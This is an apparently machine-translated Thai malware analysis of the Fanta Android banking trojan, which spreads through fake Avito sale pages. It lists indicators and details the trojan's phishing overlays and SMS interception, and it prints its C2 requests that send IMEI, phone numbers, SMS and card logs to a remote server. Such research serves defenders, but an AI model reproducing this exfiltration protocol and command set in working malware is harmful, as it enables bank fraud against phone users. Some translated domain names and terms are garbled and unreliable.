Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า

วันหนึ่งคุณต้องการขายของบน Avito และเมื่อโพสต์คำอธิบายโดยละเอียดเกี่ยวกับผลิตภัณฑ์ของคุณ (เช่น โมดูล RAM) คุณจะได้รับข้อความนี้:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่าเมื่อคุณเปิดลิงก์ คุณจะเห็นหน้าเว็บที่ดูไม่เป็นอันตรายแจ้งให้คุณทราบซึ่งเป็นผู้ขายที่มีความสุขและประสบความสำเร็จว่ามีการซื้อเกิดขึ้นแล้ว:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
เมื่อคุณคลิกปุ่ม "ดำเนินการต่อ" ไฟล์ APK พร้อมไอคอนและชื่อที่น่าเชื่อถือจะถูกดาวน์โหลดลงในอุปกรณ์ Android ของคุณ คุณได้ติดตั้งแอปพลิเคชันที่ร้องขอสิทธิ์ AccessibilityService ด้วยเหตุผลบางประการ จากนั้นมีหน้าต่างสองสามบานปรากฏขึ้นและหายไปอย่างรวดเร็ว และ... แค่นั้นแหละ.

คุณไปตรวจสอบยอดเงินของคุณ แต่ด้วยเหตุผลบางอย่างแอปธนาคารของคุณขอรายละเอียดบัตรของคุณอีกครั้ง หลังจากป้อนข้อมูลแล้ว มีบางอย่างเลวร้ายเกิดขึ้น: ด้วยเหตุผลบางอย่างที่ยังไม่ชัดเจนสำหรับคุณ เงินเริ่มหายไปจากบัญชีของคุณ คุณกำลังพยายามแก้ไขปัญหา แต่โทรศัพท์ของคุณขัดขืน: กดปุ่ม "ย้อนกลับ" และ "หน้าแรก" ไม่ปิดและไม่อนุญาตให้คุณเปิดใช้งานมาตรการรักษาความปลอดภัยใด ๆ เป็นผลให้คุณไม่มีเงิน ยังไม่ได้ซื้อสินค้าของคุณ คุณสับสนและสงสัยว่าเกิดอะไรขึ้น?

คำตอบนั้นง่ายมาก: คุณตกเป็นเหยื่อของ Android Trojan Fanta ซึ่งเป็นสมาชิกของตระกูล Flexnet มันเกิดขึ้นได้อย่างไร? มาอธิบายตอนนี้กันดีกว่า

ผู้เขียน: อันเดรย์ โปโลวินกินผู้เชี่ยวชาญรุ่นเยาว์ในการวิเคราะห์มัลแวร์ อีวาน ปิซาเรฟผู้เชี่ยวชาญด้านการวิเคราะห์มัลแวร์

สถิติ

โทรจัน Android ตระกูล Flexnet เป็นที่รู้จักครั้งแรกในปี 2015 ตลอดระยะเวลาการทำกิจกรรมที่ค่อนข้างยาวนาน ครอบครัวนี้ได้ขยายออกไปหลายประเภทย่อย: แฟนต้า ไลม์บอต ลิปตัน ฯลฯ โทรจันตลอดจนโครงสร้างพื้นฐานที่เกี่ยวข้องนั้นไม่หยุดนิ่ง: มีการพัฒนาแผนการแจกจ่ายที่มีประสิทธิภาพใหม่ - ในกรณีของเรา หน้าฟิชชิ่งคุณภาพสูงมุ่งเป้าไปที่ผู้ขายผู้ใช้เฉพาะ และผู้พัฒนาโทรจันติดตามแนวโน้มที่ทันสมัยใน การเขียนไวรัส - เพิ่มฟังก์ชันใหม่ที่ทำให้สามารถขโมยเงินจากอุปกรณ์ที่ติดไวรัสได้อย่างมีประสิทธิภาพมากขึ้นและกลไกการป้องกันบายพาส

แคมเปญที่อธิบายไว้ในบทความนี้มุ่งเป้าไปที่ผู้ใช้จากรัสเซีย โดยมีการบันทึกอุปกรณ์ที่ติดไวรัสจำนวนเล็กน้อยในยูเครน และน้อยกว่านั้นในคาซัคสถานและเบลารุส

แม้ว่า Flexnet จะอยู่ในวงการ Android Trojan มาเป็นเวลากว่า 4 ปีแล้ว และได้รับการศึกษาอย่างละเอียดโดยนักวิจัยหลายคน แต่ก็ยังอยู่ในสภาพที่ดี เริ่มตั้งแต่เดือนมกราคม 2019 จำนวนความเสียหายที่อาจเกิดขึ้นมีมากกว่า 35 ล้านรูเบิล - และนี่สำหรับแคมเปญในรัสเซียเท่านั้น ในปี 2015 โทรจัน Android เวอร์ชันต่างๆ ถูกขายในฟอรัมใต้ดิน ซึ่งสามารถพบซอร์สโค้ดของโทรจันพร้อมคำอธิบายโดยละเอียดได้ ซึ่งหมายความว่าสถิติความเสียหายในโลกจะยิ่งน่าประทับใจยิ่งขึ้น ไม่ใช่ตัวบ่งชี้ที่ไม่ดีสำหรับคนแก่เช่นนี้ใช่ไหม

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า

จากการขายไปสู่การหลอกลวง

ดังที่เห็นได้จากภาพหน้าจอที่นำเสนอก่อนหน้านี้ของหน้าฟิชชิ่งสำหรับบริการอินเทอร์เน็ตสำหรับการโพสต์โฆษณา Avito นั้นได้เตรียมไว้สำหรับเหยื่อโดยเฉพาะ เห็นได้ชัดว่าผู้โจมตีใช้โปรแกรมแยกวิเคราะห์ของ Avito ซึ่งจะแยกหมายเลขโทรศัพท์และชื่อผู้ขายตลอดจนคำอธิบายผลิตภัณฑ์ หลังจากขยายหน้าและเตรียมไฟล์ APK เหยื่อจะได้รับ SMS พร้อมชื่อของเขาและลิงก์ไปยังหน้าฟิชชิ่งที่มีคำอธิบายผลิตภัณฑ์ของเขาและจำนวนเงินที่ได้รับจาก "การขาย" ของผลิตภัณฑ์ เมื่อคลิกที่ปุ่ม ผู้ใช้จะได้รับไฟล์ APK ที่เป็นอันตราย - Fanta

การศึกษาโดเมน shcet491[.]ru แสดงให้เห็นว่าโดเมนดังกล่าวได้รับการมอบหมายให้กับเซิร์ฟเวอร์ DNS ของ Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

ไฟล์โซนโดเมนประกอบด้วยรายการที่ชี้ไปยังที่อยู่ IP 31.220.23[.]236, 31.220.23[.]243 และ 31.220.23[.]235 อย่างไรก็ตาม ระเบียนทรัพยากรหลักของโดเมน (ระเบียน A) ชี้ไปที่เซิร์ฟเวอร์ที่มีที่อยู่ IP 178.132.1[.]240

ที่อยู่ IP 178.132.1[.]240 ตั้งอยู่ในเนเธอร์แลนด์และเป็นของผู้โฮสต์ เวิลด์สตรีม. ที่อยู่ IP 31.220.23[.]235, 31.220.23[.]236 และ 31.220.23[.]243 ตั้งอยู่ในสหราชอาณาจักรและเป็นของเซิร์ฟเวอร์โฮสติ้งที่ใช้ร่วมกัน HOSTINGER ใช้เป็นเครื่องบันทึก openprov-ru. โดเมนต่อไปนี้ยังแก้ไขเป็นที่อยู่ IP 178.132.1[.]240:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

ควรสังเกตว่าลิงก์ในรูปแบบต่อไปนี้มีให้ใช้งานจากโดเมนเกือบทั้งหมด:

http://(www.){0,1}<%domain%>/[0-9]{7}

เทมเพลตนี้มีลิงก์จากข้อความ SMS ด้วย จากข้อมูลในอดีต พบว่าโดเมนหนึ่งสอดคล้องกับลิงก์หลายลิงก์ในรูปแบบที่อธิบายไว้ข้างต้น ซึ่งบ่งชี้ว่ามีการใช้โดเมนหนึ่งเพื่อกระจายโทรจันไปยังเหยื่อหลายราย

มาดูกันสักหน่อย: โทรจันที่ดาวน์โหลดผ่านลิงก์จาก SMS จะใช้ที่อยู่เป็นเซิร์ฟเวอร์ควบคุม สโมสร onusedseddohap[.]. โดเมนนี้จดทะเบียนเมื่อวันที่ 2019-03-12 และตั้งแต่วันที่ 2019-04-29 แอปพลิเคชัน APK โต้ตอบกับโดเมนนี้ จากข้อมูลที่ได้รับจาก VirusTotal มีแอปพลิเคชันทั้งหมด 109 รายการที่มีการโต้ตอบกับเซิร์ฟเวอร์นี้ โดเมนได้รับการแก้ไขเป็นที่อยู่ IP 217.23.14[.]27ตั้งอยู่ในเนเธอร์แลนด์และเป็นเจ้าของโดยเจ้าของที่พัก เวิลด์สตรีม. ใช้เป็นเครื่องบันทึก Namecheap. โดเมนได้รับการแก้ไขเป็นที่อยู่ IP นี้ด้วย แบด-แร็กคูน[.]คลับ (เริ่มตั้งแต่ 2018-09-25) และ แบดแร็กคูน[.]สด (เริ่มตั้งแต่ 2018-10-25) พร้อมโดเมน แบด-แร็กคูน[.]คลับ มีการโต้ตอบไฟล์ APK มากกว่า 80 ไฟล์ แบดแร็กคูน[.]สด - มากกว่า 100

โดยทั่วไปการโจมตีจะดำเนินไปดังนี้:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า

อะไรอยู่ใต้ฝาแฟนต้า?

เช่นเดียวกับโทรจัน Android อื่นๆ Fanta สามารถอ่านและส่งข้อความ SMS ส่งคำขอ USSD และแสดงหน้าต่างของตัวเองที่ด้านบนของแอปพลิเคชัน (รวมถึงหน้าต่างของธนาคาร) อย่างไรก็ตาม คลังแสงฟังก์ชันการทำงานของตระกูลนี้มาถึงแล้ว แฟนต้า เริ่มใช้งาน การเข้าถึงบริการ เพื่อวัตถุประสงค์ต่างๆ: การอ่านเนื้อหาของการแจ้งเตือนจากแอปพลิเคชันอื่น การป้องกันการตรวจจับและการหยุดการทำงานของโทรจันบนอุปกรณ์ที่ติดไวรัส ฯลฯ Fanta ใช้งานได้กับ Android ทุกเวอร์ชันไม่ต่ำกว่า 4.4 ในบทความนี้ เราจะมาดูตัวอย่างแฟนต้าต่อไปนี้ให้ละเอียดยิ่งขึ้น:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

ทันทีหลังจากเปิดตัว

ทันทีหลังจากเปิดตัว โทรจันจะซ่อนไอคอนไว้ แอปพลิเคชันสามารถทำงานได้เฉพาะในกรณีที่ชื่ออุปกรณ์ที่ติดไวรัสไม่อยู่ในรายการ:

  • android_x86
  • VirtualBox
  • Nexus 5X(หัวกระทิง)
  • Nexus 5 (มีดโกน)

การตรวจสอบนี้ดำเนินการในบริการหลักของโทรจัน - บริการหลัก. เมื่อเปิดตัวเป็นครั้งแรก พารามิเตอร์การกำหนดค่าของแอปพลิเคชันจะถูกเตรียมใช้งานเป็นค่าเริ่มต้น (รูปแบบสำหรับการจัดเก็บข้อมูลการกำหนดค่าและความหมายจะมีการหารือในภายหลัง) และอุปกรณ์ที่ติดไวรัสใหม่จะถูกลงทะเบียนบนเซิร์ฟเวอร์ควบคุม คำขอ HTTP POST พร้อมประเภทข้อความจะถูกส่งไปยังเซิร์ฟเวอร์ register_bot และข้อมูลเกี่ยวกับอุปกรณ์ที่ติดไวรัส (เวอร์ชัน Android, IMEI, หมายเลขโทรศัพท์, ชื่อผู้ให้บริการ และรหัสประเทศที่ผู้ให้บริการลงทะเบียนไว้) ที่อยู่ทำหน้าที่เป็นเซิร์ฟเวอร์ควบคุม hXXp://onuseseddohap[.]club/controller.php. เพื่อเป็นการตอบสนอง เซิร์ฟเวอร์จะส่งข้อความที่มีฟิลด์ต่างๆ bot_id, bot_pwd, เซิร์ฟเวอร์ — แอปพลิเคชันจะบันทึกค่าเหล่านี้เป็นพารามิเตอร์ของเซิร์ฟเวอร์ CnC พารามิเตอร์ เซิร์ฟเวอร์ ทางเลือกหากไม่ได้รับฟิลด์: แฟนต้าใช้ที่อยู่การลงทะเบียน - hXXp://onuseseddohap[.]club/controller.php. ฟังก์ชั่นการเปลี่ยนที่อยู่ CnC สามารถใช้เพื่อแก้ปัญหาสองประการ: เพื่อกระจายโหลดอย่างสม่ำเสมอระหว่างเซิร์ฟเวอร์หลายเครื่อง (หากมีอุปกรณ์ที่ติดไวรัสจำนวนมากโหลดบนเว็บเซิร์ฟเวอร์ที่ไม่ได้รับการปรับให้เหมาะสมอาจสูง) และยังใช้ เซิร์ฟเวอร์สำรองในกรณีที่เซิร์ฟเวอร์ CnC ตัวใดตัวหนึ่งล้มเหลว

หากเกิดข้อผิดพลาดขณะส่งคำขอ โทรจันจะทำซ้ำขั้นตอนการลงทะเบียนหลังจากผ่านไป 20 วินาที

เมื่อลงทะเบียนอุปกรณ์เรียบร้อยแล้ว แฟนต้าจะแสดงข้อความต่อไปนี้แก่ผู้ใช้:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
หมายเหตุสำคัญ: บริการที่เรียกว่า ความปลอดภัยของระบบ — ชื่อของบริการโทรจันและหลังจากคลิกปุ่ม ตกลง หน้าต่างจะเปิดขึ้นพร้อมกับการตั้งค่าการเข้าถึงของอุปกรณ์ที่ติดไวรัส โดยที่ผู้ใช้จะต้องให้สิทธิ์การเข้าถึงสำหรับบริการที่เป็นอันตราย:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
ทันทีที่ผู้ใช้เปิดเครื่อง การเข้าถึงบริการ, Fanta สามารถเข้าถึงเนื้อหาของหน้าต่างแอปพลิเคชันและการดำเนินการที่เกิดขึ้นในนั้น:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
ทันทีหลังจากได้รับสิทธิ์ในการเข้าถึง โทรจันจะร้องขอสิทธิ์ของผู้ดูแลระบบและสิทธิ์ในการอ่านการแจ้งเตือน:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
การใช้ AccessibilityService แอปพลิเคชันจะจำลองการกดแป้นพิมพ์ดังนั้นจึงให้สิทธิ์ที่จำเป็นทั้งหมดแก่ตัวเอง

Fanta สร้างอินสแตนซ์ฐานข้อมูลหลายรายการ (ซึ่งจะอธิบายในภายหลัง) ที่จำเป็นในการจัดเก็บข้อมูลการกำหนดค่า รวมถึงข้อมูลที่รวบรวมในกระบวนการเกี่ยวกับอุปกรณ์ที่ติดไวรัส ในการส่งข้อมูลที่รวบรวมไว้ โทรจันจะสร้างงานซ้ำที่ออกแบบมาเพื่อดาวน์โหลดฟิลด์จากฐานข้อมูลและรับคำสั่งจากเซิร์ฟเวอร์ควบคุม ช่วงเวลาในการเข้าถึง CnC ถูกกำหนดไว้ขึ้นอยู่กับเวอร์ชันของ Android: ในกรณีของ 5.1 ช่วงเวลาจะเป็น 10 วินาที หรือ 60 วินาที

เพื่อรับคำสั่ง แฟนต้าจึงร้องขอ รับงาน ไปยังเซิร์ฟเวอร์การจัดการ เพื่อเป็นการตอบสนอง CnC สามารถส่งคำสั่งใดคำสั่งหนึ่งต่อไปนี้:

ทีม ลักษณะ
0 ส่งข้อความ SMS
1 โทรออกหรือสั่ง USSD
2 อัพเดตพารามิเตอร์ ระยะห่าง
3 อัพเดตพารามิเตอร์ ตัด
6 อัพเดตพารามิเตอร์ smsผู้จัดการ
9 เริ่มรวบรวมข้อความ SMS
11 รีเซ็ตโทรศัพท์ของคุณเป็นการตั้งค่าจากโรงงาน
12 เปิด/ปิดการบันทึกการสร้างกล่องโต้ตอบ

Fanta ยังรวบรวมการแจ้งเตือนจากแอพธนาคาร 70 แอพ ระบบการชำระเงินที่รวดเร็ว และกระเป๋าเงินอิเล็กทรอนิกส์ และจัดเก็บไว้ในฐานข้อมูล

การจัดเก็บพารามิเตอร์การกำหนดค่า

ในการจัดเก็บพารามิเตอร์การกำหนดค่า Fanta ใช้วิธีการมาตรฐานสำหรับแพลตฟอร์ม Android - การตั้งค่า-ไฟล์ การตั้งค่าจะถูกบันทึกลงในไฟล์ชื่อ การตั้งค่า. คำอธิบายของพารามิเตอร์ที่บันทึกไว้อยู่ในตารางด้านล่าง

ชื่อ ค่าเริ่มต้น ค่าที่เป็นไปได้ ลักษณะ
id 0 จำนวนเต็ม รหัสบอท
เซิร์ฟเวอร์ hXXp://onuseseddohap[.]club/ URL ที่อยู่เซิร์ฟเวอร์ควบคุม
รหัสผ่าน - เชือก รหัสผ่านเซิร์ฟเวอร์
ระยะห่าง 20 จำนวนเต็ม ช่วงเวลา. บ่งชี้ว่างานต่อไปนี้ควรถูกเลื่อนออกไปนานเท่าใด:

  • เมื่อส่งคำขอเกี่ยวกับสถานะของข้อความ SMS ที่ส่ง
  • การรับคำสั่งใหม่จากเซิร์ฟเวอร์การจัดการ

ตัด ทั้งหมด ทั้งหมด/telNumber หากสนามมีค่าเท่ากับสตริง ทั้งหมด หรือ หมายเลขโทรศัพท์จากนั้นข้อความ SMS ที่ได้รับจะถูกดักฟังโดยแอปพลิเคชันและไม่แสดงให้ผู้ใช้เห็น
smsผู้จัดการ 0 0/1 เปิด/ปิดการใช้งานแอปพลิเคชันเป็นผู้รับ SMS เริ่มต้น
อ่านกล่องโต้ตอบ เท็จ ถูกผิด เปิด/ปิดการบันทึกเหตุการณ์ กิจกรรมการเข้าถึง

แฟนต้าก็ใช้ไฟล์ smsผู้จัดการ:

ชื่อ ค่าเริ่มต้น ค่าที่เป็นไปได้ ลักษณะ
ชิ้น - เชือก ชื่อของโปรแกรมจัดการข้อความ SMS ที่ใช้

การโต้ตอบกับฐานข้อมูล

ในระหว่างการดำเนินการ โทรจันจะใช้ฐานข้อมูลสองฐานข้อมูล ฐานข้อมูลชื่อ a ใช้เพื่อเก็บข้อมูลต่าง ๆ ที่รวบรวมจากโทรศัพท์ ฐานข้อมูลที่สองมีชื่อว่า แฟนต้า.ดีบี และใช้เพื่อบันทึกการตั้งค่าที่รับผิดชอบในการสร้างหน้าต่างฟิชชิ่งที่ออกแบบมาเพื่อรวบรวมข้อมูลเกี่ยวกับบัตรธนาคาร

โทรจันใช้ฐานข้อมูล а เพื่อจัดเก็บข้อมูลที่รวบรวมและบันทึกการกระทำของคุณ ข้อมูลจะถูกเก็บไว้ในตาราง บันทึก. หากต้องการสร้างตาราง ให้ใช้แบบสอบถาม SQL ต่อไปนี้:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

ฐานข้อมูลประกอบด้วยข้อมูลต่อไปนี้:

1. บันทึกการเริ่มต้นอุปกรณ์ที่ติดไวรัสด้วยข้อความ โทรศัพท์เปิดอยู่!

2. การแจ้งเตือนจากแอปพลิเคชัน ข้อความถูกสร้างขึ้นตามเทมเพลตต่อไปนี้:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ข้อมูลบัตรธนาคารจากแบบฟอร์มฟิชชิ่งที่สร้างโดยโทรจัน พารามิเตอร์ VIEW_NAME อาจเป็นหนึ่งในสิ่งต่อไปนี้:

  • AliExpress
  • Avito
  • Google Play
  • เบ็ดเตล็ด <%ชื่อแอป%>

ข้อความถูกบันทึกในรูปแบบ:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. ข้อความ SMS ขาเข้า/ขาออกในรูปแบบ:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. ข้อมูลเกี่ยวกับแพ็คเกจที่สร้างกล่องโต้ตอบในรูปแบบ:

(<%Package name%>)<%Package information%>

ตารางตัวอย่าง บันทึก:

Leysya, Fanta: กลยุทธ์ใหม่สำหรับโทรจัน Android รุ่นเก่า
ฟังก์ชั่นอย่างหนึ่งของ Fanta คือการรวบรวมข้อมูลเกี่ยวกับบัตรธนาคาร การรวบรวมข้อมูลเกิดขึ้นผ่านการสร้างหน้าต่างฟิชชิ่งเมื่อเปิดแอปพลิเคชันธนาคาร โทรจันสร้างหน้าต่างฟิชชิ่งเพียงครั้งเดียว ข้อมูลที่หน้าต่างแสดงต่อผู้ใช้จะถูกจัดเก็บไว้ในตาราง การตั้งค่า ในฐานข้อมูล แฟนต้า.ดีบี. เมื่อต้องการสร้างฐานข้อมูล ให้ใช้แบบสอบถาม SQL ต่อไปนี้:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

เขตข้อมูลตารางทั้งหมด การตั้งค่า โดยค่าเริ่มต้นเริ่มต้นเป็น 1 (สร้างหน้าต่างฟิชชิ่ง) หลังจากที่ผู้ใช้ป้อนข้อมูลแล้ว ค่าจะถูกตั้งค่าเป็น 0 ตัวอย่างเขตข้อมูลตาราง การตั้งค่า:

  • can_login — ฟิลด์มีหน้าที่แสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชันธนาคาร
  • first_bank - ไม่ได้ใช้
  • can_avito — ฟิลด์มีหน้าที่แสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชัน Avito
  • can_ali — ฟิลด์มีหน้าที่รับผิดชอบในการแสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชัน Aliexpress
  • สามารถ_อีก — ฟิลด์มีหน้าที่แสดงแบบฟอร์มเมื่อเปิดแอปพลิเคชันใด ๆ จากรายการ: ยูล่า, แพนด้า, Drom Auto, Wallet บัตรส่วนลดและโบนัส, Aviasales, การจอง, Trivago
  • can_card — สนามมีหน้าที่แสดงแบบฟอร์มเมื่อเปิด Google Play

การโต้ตอบกับเซิร์ฟเวอร์การจัดการ

การโต้ตอบเครือข่ายกับเซิร์ฟเวอร์การจัดการเกิดขึ้นผ่านโปรโตคอล HTTP ในการทำงานร่วมกับเครือข่าย Fanta ใช้ไลบรารี Retrofit ยอดนิยม คำขอถูกส่งไปยัง: hXXp://onuseseddohap[.]club/controller.php. ที่อยู่เซิร์ฟเวอร์สามารถเปลี่ยนแปลงได้เมื่อลงทะเบียนบนเซิร์ฟเวอร์ คุกกี้อาจถูกส่งเพื่อตอบสนองจากเซิร์ฟเวอร์ แฟนต้าส่งคำขอต่อไปนี้ไปยังเซิร์ฟเวอร์:

  • การลงทะเบียนบอทบนเซิร์ฟเวอร์ควบคุมจะเกิดขึ้นครั้งเดียวในการเปิดตัวครั้งแรก ข้อมูลต่อไปนี้เกี่ยวกับอุปกรณ์ที่ติดไวรัสจะถูกส่งไปยังเซิร์ฟเวอร์:
    · คุกกี้ — คุกกี้ที่ได้รับจากเซิร์ฟเวอร์ (ค่าเริ่มต้นคือสตริงว่าง)
    · โหมด - ค่าคงที่สตริง register_bot
    · อุปสรรค - ค่าคงที่จำนวนเต็ม 2
    · version_sdk — จัดทำขึ้นตามแม่แบบดังต่อไปนี้: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · IMEI — IMEI ของอุปกรณ์ที่ติดไวรัส
    · ประเทศ — รหัสของประเทศที่ผู้ประกอบการลงทะเบียน ในรูปแบบ ISO
    · จำนวน - หมายเลขโทรศัพท์
    · ผู้ประกอบการ — ชื่อผู้ดำเนินการ

    ตัวอย่างคำขอที่ส่งไปยังเซิร์ฟเวอร์:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    เพื่อตอบสนองต่อคำขอ เซิร์ฟเวอร์จะต้องส่งคืนออบเจ็กต์ JSON ที่มีพารามิเตอร์ต่อไปนี้:
    · bot_id — ID ของอุปกรณ์ที่ติดไวรัส หาก bot_id เท่ากับ 0 Fanta จะดำเนินการตามคำขออีกครั้ง
    bot_pwd — รหัสผ่านสำหรับเซิร์ฟเวอร์
    เซิร์ฟเวอร์ — ที่อยู่เซิร์ฟเวอร์ควบคุม พารามิเตอร์ทางเลือก หากไม่ได้ระบุพารามิเตอร์ ที่อยู่ที่บันทึกไว้ในแอปพลิเคชันจะถูกนำมาใช้

    ตัวอย่างวัตถุ JSON:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • ขอรับคำสั่งจากเซิร์ฟเวอร์ ข้อมูลต่อไปนี้จะถูกส่งไปยังเซิร์ฟเวอร์:
    · คุกกี้ — คุกกี้ที่ได้รับจากเซิร์ฟเวอร์
    · สั่ง — รหัสของอุปกรณ์ที่ติดไวรัสที่ได้รับเมื่อส่งคำขอ register_bot
    · รหัสผ่าน —รหัสผ่านสำหรับเซิร์ฟเวอร์
    · อุปกรณ์_admin — ฟิลด์นี้จะกำหนดว่าได้รับสิทธิ์ของผู้ดูแลระบบหรือไม่ หากได้รับสิทธิ์ผู้ดูแลระบบแล้ว ฟิลด์จะเท่ากับ 1, มิฉะนั้น 0
    · การเข้าถึง — สถานะการดำเนินการบริการการเข้าถึง หากบริการเริ่มต้นขึ้น ค่าจะเป็นดังนี้ 1, มิฉะนั้น 0
    · SMSManager — แสดงว่าโทรจันเปิดใช้งานเป็นแอปพลิเคชั่นเริ่มต้นสำหรับรับ SMS หรือไม่
    · จอภาพ – แสดงสถานะของหน้าจอ ค่าจะถูกตั้งค่า 1หากหน้าจอเปิดอยู่ มิฉะนั้น 0;

    ตัวอย่างคำขอที่ส่งไปยังเซิร์ฟเวอร์:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    เซิร์ฟเวอร์สามารถส่งคืนอ็อบเจ็กต์ JSON ที่มีพารามิเตอร์ต่างกันได้ ทั้งนี้ขึ้นอยู่กับคำสั่ง:

    · ทีม ส่งข้อความ SMS: พารามิเตอร์ประกอบด้วยหมายเลขโทรศัพท์ ข้อความ SMS และ ID ของข้อความที่กำลังส่ง ตัวระบุจะใช้เมื่อส่งข้อความไปยังเซิร์ฟเวอร์ที่มีประเภท setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · ทีม โทรออกหรือสั่ง USSD: หมายเลขโทรศัพท์หรือคำสั่งมาในเนื้อหาการตอบกลับ

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · ทีม เปลี่ยนพารามิเตอร์ช่วงเวลา.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · ทีม เปลี่ยนพารามิเตอร์การสกัดกั้น.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · ทีม เปลี่ยนฟิลด์ SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · ทีม รวบรวมข้อความ SMS จากอุปกรณ์ที่ติดไวรัส.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · ทีม รีเซ็ตโทรศัพท์ของคุณเป็นการตั้งค่าจากโรงงาน:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · ทีม เปลี่ยนพารามิเตอร์ ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • ส่งข้อความด้วยประเภท setSmsStatus. คำขอนี้เกิดขึ้นหลังจากดำเนินการคำสั่งแล้ว ส่งข้อความ SMS. คำขอมีลักษณะดังนี้:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • การอัพโหลดเนื้อหาฐานข้อมูล มีการส่งหนึ่งแถวต่อคำขอ ข้อมูลต่อไปนี้จะถูกส่งไปยังเซิร์ฟเวอร์:
    · คุกกี้ — คุกกี้ที่ได้รับจากเซิร์ฟเวอร์
    · โหมด - ค่าคงที่สตริง setSaveInboxSms
    · สั่ง — รหัสของอุปกรณ์ที่ติดไวรัสที่ได้รับเมื่อส่งคำขอ register_bot
    · ข้อความ — ข้อความในบันทึกฐานข้อมูลปัจจุบัน (field d จากตาราง บันทึก ในฐานข้อมูล а)
    · จำนวน — ชื่อของบันทึกฐานข้อมูลปัจจุบัน (field p จากตาราง บันทึก ในฐานข้อมูล а)
    · sms_โหมด — ค่าจำนวนเต็ม (ฟิลด์ m จากตาราง บันทึก ในฐานข้อมูล а)

    คำขอมีลักษณะดังนี้:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    หากส่งไปยังเซิร์ฟเวอร์สำเร็จ แถวจะถูกลบออกจากตาราง ตัวอย่างของออบเจ็กต์ JSON ที่ส่งคืนโดยเซิร์ฟเวอร์:

    {
        "response":[],
        "status":"ok"
    }

